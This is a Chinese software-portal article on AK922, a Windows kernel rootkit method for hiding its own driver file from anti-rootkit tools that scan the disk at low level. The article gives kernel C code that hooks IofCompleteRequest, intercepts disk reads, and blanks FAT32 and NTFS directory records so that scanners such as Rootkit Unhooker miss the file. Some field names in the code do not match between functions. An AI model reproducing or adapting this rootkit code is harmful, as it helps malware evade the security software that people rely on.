会员登陆:
载入中…
我要发布
联系我们
广告合作
推荐:系统管理 信息安全 企业管理 大众消费 多媒体 存储备份 商业智能 系统软件 PK 企业库 软件商城 威客 在线演示 我要发布
病毒防护 | 防火墙 | 入侵检测 | 漏洞扫描 | 入侵防御 | VPN | 身份认证 | 密码保护 | 访问控制 |
安全网关 | 反黄 | 防伪 | 软件加密 | 信息加密 | 防垃圾邮件 | 网络流量分析 | 负载均衡
   ISS | Cisco | Juniper | SYMANTEC | 绿盟 | 其它
您现在的位置: 中华软件网|中国软件导购网 >> 信息安全 >> 入侵检测 >> 解决方案 >> 信息安全正文
企业新闻
普通信息安全ISS中国上演悲欢离合情感剧
普通信息安全IBM欲斥资13亿美元现金收购I
普通信息安全网络整体安全策略打造绿色互
普通信息安全ISS发布2006年度IPS系列新产
普通信息安全Norton新版还是会遭到Vista技
普通信息安全绿盟荣获“涉密信息系统NIPS
普通信息安全赛门铁克公布利用Cisco漏洞的
普通信息安全绿盟“中国网络管理技术大会
普通信息安全安全领域Juniper与赛门铁克结
普通信息安全入侵检测 网络安全的第三种新
普通信息安全13亿中国公民身份信息系统启
普通信息安全信息安全意义上的0Day将成为
普通信息安全浪潮SSR产品全面上市 引领信
普通信息安全我国信息安全法律环境发展中
普通信息安全解决全网安全 神州数码网络升
导购论坛
·常用软件导购
·报表工具软件导购
·数据备份软件导购
·系统管理软件导购
·信息安全软件导购
·数据库软件导购
·基础软件导购
·行业软件导购
产品评测
普通信息安全 中软入侵检测系统(DIDSystem)
普通信息安全 主流入侵检测产品大比较
普通信息安全 中国市场主流IDS产品评测技术报告
普通信息安全 思科公司NAC解决方案测试
普通信息安全 主流网络产品 入侵检测产品比较
普通信息安全 绿盟网络入侵检测系统2.5版评测
相关软件下载
相关技术白皮书
在线体验
服务点评
  • 此栏目下没有信息安全
  • 专家点评
    普通信息安全 Juniper网络公司增强应用可视性和
    普通信息安全 评测师对SYMANTEC 评测点评
    普通信息安全 Juniper网络公司近日连获殊荣
    普通信息安全 专家指导点评:如何选择入侵检测
    普通信息安全 Juniper网络公司跃居全球网络安全
    普通信息安全 IDG授予JUNIPER 网络公司"年度最
    普通信息安全 如何构建一个入侵检测系统(IDS)
    客户评价
    普通信息安全 Juniper产品调查获好评
    负面报道
  • 此栏目下没有信息安全
  • 解决方案
    普通信息安全 系统安全Windows的十四个非法操作
    普通信息安全 新技巧:如何在XPSP2中修复IE浏览
    普通信息安全 AK922: 突破磁盘低级检测实现文件
    普通信息安全 系统泄露密码的入侵攻击分析
    普通信息安全 Juniper网络公司入侵防护解决方案
    普通信息安全 Juniper入侵防护系统解决方案
    普通信息安全 赛门铁克主机入侵检测与防护解决
    普通信息安全 借助主机解决方案扩展Cisco入侵检
    普通信息安全 OA系统ISS网络安全“动态威胁防护
    普通信息安全 思科FWSM防火墙在企业网络边缘的
    Google
    论坛
    AK922: 突破磁盘低级检测实现文件隐藏
    作者:佚名    信息安全来源:本站原创    点击数:    更新时间:2007-9-20    

      目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
      
      驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
      
      对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
      
      AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
      
    下面就着重说一下工作流程:
      
      首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
      
      接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
     
      刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:

    // 处理Disk Low-Level Scanning
    if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
    {   
           
        orgnThread = Irp->Tail.Overlay.Thread;
        orgnProcess = IoThreadToProcess(orgnThread);
           
        if(Irp->MdlAddress)
        {       
            UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
               
            // UserBuffer必须有效
            if(UserBuffer)
            {                   
               
                if(KeGetCurrentIrql() == DISPATCH_LEVEL)
                {                   
               
                    RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
                   
                    WorkerCtx->UserBuffer = UserBuffer;
                    WorkerCtx->Length = irpSp->Parameters.Read.Length;
                    WorkerCtx->EProc = orgnProcess;
                   
                    ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
                                   
                    ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
                }
            }
           
        }
    }
     

      来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:

    VOID WorkerThread(PVOID Context)
    {
        KIRQL irql;
        PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
        PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
        //PMDL mdl;
           

        if(((PWORKERCTX)Context)->UserBuffer)
        {
            if(eproc != currProc)
            {

                KeAttachProcess(eproc);

                __try{
               
                    // ProbeForWrite must be running <= APC_LEVEL
                    ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                    HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
                }

                __except(EXCEPTION_EXECUTE_HANDLER){

                    //DbgPrint("we can't op the buffer now :-(");
                    KeDetachProcess();   
                    return;
                }
               
                KeDetachProcess();   
               
            }else{

                __try{
               
                    // ProbeForWrite must be running <= APC_LEVEL
                    ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                    HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
                }

                __except(EXCEPTION_EXECUTE_HANDLER){}
            }
       
        }
    }

      准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

    typedef struct _INDEX_HEADER{
        UCHAR            magic[4];
        USHORT            UpdateSequenceOffset;
        USHORT            SizeInWords;
        LARGE_INTEGER    LogFileSeqNumber;
        LARGE_INTEGER    VCN;
        ULONG            IndexEntryOffset;    // needed!
        ULONG            IndexEntrySize;
        ULONG            AllocateSize;
    }INDEX_HEADER, *PINDEX_HEADER;


    typedef struct _INDEX_ENTRY{
        LARGE_INTEGER        MFTReference;
        USHORT            Size;                // needed!
        USHORT            FileNameOffset;
        USHORT            Flags;
        USHORT            Padding;
        LARGE_INTEGER        MFTReferParent;
        LARGE_INTEGER        CreationTime;
        LARGE_INTEGER        ModifyTime;
        LARGE_INTEGER        FileRecModifyTime;
        LARGE_INTEGER        AccessTime;
        LARGE_INTEGER        AllocateSize;
        LARGE_INTEGER        RealSize;
        LARGE_INTEGER        FileFlags;
        UCHAR            FileNameLength;
        UCHAR            NameSpace;
        WCHAR            FileName[1];
    }INDEX_ENTRY, *PINDEX_ENTRY;

      在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
      
      在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
      
      处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

    VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
    {
        ULONG i;
        BOOLEAN bIsNtfsIndex;
        BOOLEAN bIsNtfsFile;
        ULONG offset = 0;
        ULONG indexSize = 0;
        PINDEX_ENTRY currIndxEntry = NULL;
        PINDEX_ENTRY preIndxEntry = NULL;
        ULONG currPosition;

       
        bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
        bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

        if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
        {           
       
            for(i = 0; i < BufLen/0x20; i++)
            {
                if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
                {

                    *(PUCHAR)UserBuf        = 0xe5;
                    *(PULONG)((ULONG)UserBuf + 0x1)    = 0;

                    break;
                       
                }

                UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
           
            }

        } else if(bIsNtfsFile) {

            //DbgPrint("FILE0...");

            for(i = 0; i < BufLen / FILERECORDSIZE; i++)
            {
                if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
                {
                    memset((PVOID)UserBuf, 0, 0x4);
                    memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                    break;
                }
                   
                UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
                   
            }
               
        } else if(bIsNtfsIndex) {
                               
            //DbgPrint("INDX...");
            // Index Entries
           
            offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
            indexSize = BufLen - offset;
            currPosition = 0;

            currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
            //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
                   
            while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
            {
                if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
                {
                    memset((PVOID)currIndxEntry->FileName, 0, 18);

                    if(currPosition == 0)
                    {
                        ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                        break;
                    }

                    preIndxEntry->Size += currIndxEntry->Size;
                   
                    break;
                }

                currPosition += currIndxEntry->Size;
                preIndxEntry = currIndxEntry;
                currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
                       
            }
        }
    }

     


     

    Copyright@ 2003-2008 www.soft2008.com.cn All Right Reserved
    京ICP备06062655号
    分类导航